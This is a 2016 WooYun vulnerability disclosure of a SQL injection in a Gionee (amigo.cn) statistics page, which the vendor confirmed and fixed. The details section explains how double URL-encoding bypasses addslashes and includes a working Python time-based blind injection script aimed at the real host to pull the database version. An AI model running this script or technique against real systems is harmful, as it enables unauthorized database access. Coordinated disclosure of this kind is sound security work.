当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169052

漏洞标题:金立OS主站SQL注入(附py脚本)

相关厂商:gionee.com

漏洞作者: null_z

提交时间:2016-01-11 11:58

修复时间:2016-01-30 09:09

公开时间:2016-01-30 09:09

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-30: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

~~~~~

详细说明:

注入点http://www.amigo.cn/ami_stat/ami_stat.php?val2=undefined&val1=111*&type=search
注入参数为val1
正常检测不出来,需要doubleencode一下。
目测后面代码类似这样

$id=$_GET['id'];
$id=addslashes($id);
echo $id."</br>";
$id=urldecode($id);
echo $id."</br>";


先addslashes 然后url解码了,
所以需要将payload先编码再注入。
基于时间的盲注很慢,猜解version前十位
脚本如下

#!/usr/bin/env python
#-*-codnig:utf-8-*-
import requests
from urllib import quote
import time
url = 'http://www.amigo.cn/ami_stat/ami_stat.php?val2=undefined&val1={}&type=search'
payloads = '0123456789.abcdefghijklmnopqrstuvwxyz @_:'
user = ''
for i in range(1,10):
for p in payloads:
start_time = time.time()
try:
key = " 11' xor if(ascii(mid(version(),{},1))={},sleep(5),1) and '1'='1".format(i,ord(p))
u = url.format(quote(quote(key)))
req = requests.get(u,timeout=60)
except Exception,msg:
print msg
print key
if time.time() - start_time > 5:
user = user + p
print "\n" + user + "\n"
break
print '\n\nFinish: ' + user

漏洞证明:

屏幕快照 2016-01-11 11.39.35.png

修复方案:

你懂的~~~~

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-11 12:35

厂商回复:

谢谢,我们尽快安排相关同事进行修复。

最新状态:

2016-01-30:已经修复,谢谢

2016-01-30:已经修复